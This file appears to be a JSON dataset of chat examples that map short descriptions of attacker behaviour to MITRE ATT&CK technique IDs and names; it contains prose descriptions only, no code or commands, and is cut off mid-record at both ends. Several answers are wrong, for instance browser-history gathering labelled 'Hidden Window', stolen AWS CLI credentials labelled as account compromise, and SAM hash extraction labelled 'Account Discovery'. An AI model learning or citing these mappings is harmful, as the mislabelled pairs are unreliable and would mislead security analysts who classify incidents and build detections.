                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts a forged authentication cookie to bypass login and gain unauthorized access to the victim's web account."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries accessed a Google Cloud Compute Engine VM via the Google Cloud Console's SSH-in-browser feature."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The espionage tool abuses the Windows Graphics Capture API to stream live video of the desktop to a remote attacker."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators employed browser extensions that logged keystrokes on social media login pages to steal usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan communicates with its C2 server via a third‑party web service, allowing it to send data and receive instructions over a single persistent connection."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a crafted MSI package to gain SYSTEM-level execution."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used Group Policy Preferences to insert a malicious shortcut on user desktops."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits Task Scheduler to run a PowerShell command that disables security tools every night at midnight."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious VBA macro in a Word document changes the Outlook HomePage setting to a remote site hosting exploit kits, activating on Outlook launch."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivers a malicious .exe file that the target double‑clicks to execute on their Windows machine."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through hijacking the Software Installation Package (SIP) verification flow, the attacker can bypass driver signing enforcement and load kernel-mode malware."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage the Linux SSH daemon to pivot from an initially compromised host to other network nodes."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encodes its exfiltration blobs with a custom Base64 variant that replaces '+' with '.' and '/' with '_' to evade signature‑based detection."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan steals session tokens stored in the app's SQLite database on an Android device."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An implant gathers browser history from Chrome and Firefox to identify visited sites."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit vulnerable Docker containers to execute hidden mining processes, consuming host resources."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script adds a custom print processor entry in the Windows registry, causing the payload to run during system startup (T1547.012)."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate saved SSH private keys from users' .ssh directories after gaining access."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware exfiltrated files by tunneling them through a VPN connection already established for C2."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan alters the Windows Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy to disable the firewall."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a server, the attacker uploaded sensitive documents to a newly created Bitbucket repository using the Git command line."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates loaded kernel drivers by calling EnumDeviceDrivers and GetDeviceDriverBaseName APIs."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on a victim’s workstation extracts saved AWS CLI credentials from the user’s home directory."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed a phishing email to obtain Azure Blob storage keys and then copied data from the blobs."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using DNS zone transfer requests, the threat actor attempts to retrieve full DNS records to reconstruct the target's internal network structure."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary injects malicious code via the VDSO, allowing it to run in the context of a legitimate service and hide its activity."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the Linux utility bash to execute a base64‑encoded command that decodes and runs a payload."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a vulnerability to flash the HSM firmware with a malicious version that disables key handling."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan writes arbitrary code into the TPM firmware, allowing stealthy privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group uses a custom tool to split exfiltrated data and upload each chunk to an anonymous paste site like paste.ee."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the absence of pre‑authentication on privileged accounts to collect AS‑REP ciphertexts for offline password cracking."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a malicious landing page that mirrors a legitimate vendor portal; any user who accesses the page is silently redirected to a malicious payload, illustrating the Drive‑by Target stage capability."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party analytics script injects malicious code that triggers a drive‑by compromise on every page view."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary tampers with the com.apple.quarantine attribute via a custom script to bypass Gatekeeper checks."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage tool leverages a public API as a dead‑drop resolver, pulling configuration changes without direct connections to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set leverages the victim's email platform to create a compromised mailbox that forwards all incoming messages."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder replaces the global Outlook email signature file with a template containing a script that runs when Outlook starts."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ the Mimikatz tool to extract clear‑text passwords from LSASS memory."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group modifies data packets in a VPN tunnel to corrupt the transmitted information."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A PowerShell script runs Get-WmiObject Win32_PnPSignedDriver to collect driver information for persistence."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team exercised the unchanged default credentials on a newly deployed router to establish a foothold."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor harvests input from form fields in a web browser by injecting JavaScript to capture keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a custom Emond rule that triggers a malicious PowerShell script whenever a new USB device is inserted."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors stole a partner’s service account and used it to pivot into the victim’s corporate infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using valid credentials, the intruder connects via RDP to the endpoint and runs malicious scripts."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post‑exploitation tool enumerates the domain's SAM database to extract all domain account hashes for credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor delivers a payload that has been stripped of any identifiable code sections to evade static analysis."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary purchased a proprietary ransomware encryptor from a black‑market vendor to use in extortion campaigns."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries configure a systemd timer that calls a hidden Bash script for privilege escalation on a regular schedule."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a legitimate VPN service to access internal network resources from an external location."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends personalized phishing emails with a disguised URL leading to a fake login page to obtain user passwords."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used Nmap to sweep the target's /24 subnets, identifying which IP addresses were live before moving to exploitation."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the registry to disable Windows Event Logging, effectively hiding its actions."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses credential dumping to obtain passwords from a compromised system and then uses those credentials to log into other systems within the network, demonstrating lateral movement capabilities."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker deletes Windows Prefetch files after execution to reduce the forensic footprint of the malicious process."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker launches a UDP flood against a company's public API endpoint, overwhelming the network bandwidth and leading to denial of service."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors breach a software development outsourcing firm and alter source code before it is shipped to the primary client."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious scripts query the internal directory service via LDAP to enumerate all employee usernames and associated full names."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies the Service registry keys to change the startup type of a legitimate service to 'Automatic' and redirects it to a malicious binary."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider copies password hashes from the domain controller’s NTDS.dit file."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script disables the hardware security module (HSM) on the server, breaking the encrypted database connections."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exfiltrates stolen documents by uploading them to a personal OneDrive account via the Microsoft Graph API."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a custom PowerShell module that continuously harvests system logs and forwards them to an external IP address."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script called 'lsof -i' to discover all active network sockets on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised credentials dump to perform pass-the-hash and obtain higher privileges."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An email purporting to be from a trusted vendor includes a link to a malicious installer that, once downloaded, installs a remote access trojan on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses OpenStreetMap and building footprints to map out the exact location of the target's manufacturing plant."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor silently adds a new user to the domain using the net.exe utility."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performed network sniffing on publicly accessible Wi‑Fi to capture handshake packets from target devices."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script uses the Windows API WriteProcessMemory and LoadLibrary to inject a DLL into a target binary."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses reg.exe to read HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run entries."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators generate a custom code signing certificate to sign a backdoor that bypasses Windows SmartScreen."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script searches the victim's file system for .pdf and .docx files and uploads them."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider exploits a valid domain account to exfiltrate sensitive files from shared network drives."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exploiting a remote code execution flaw, the group uploaded a defaced version of the internal blog's front page."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script creates a LaunchAgent that runs a hidden script whenever the user opens the Finder."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
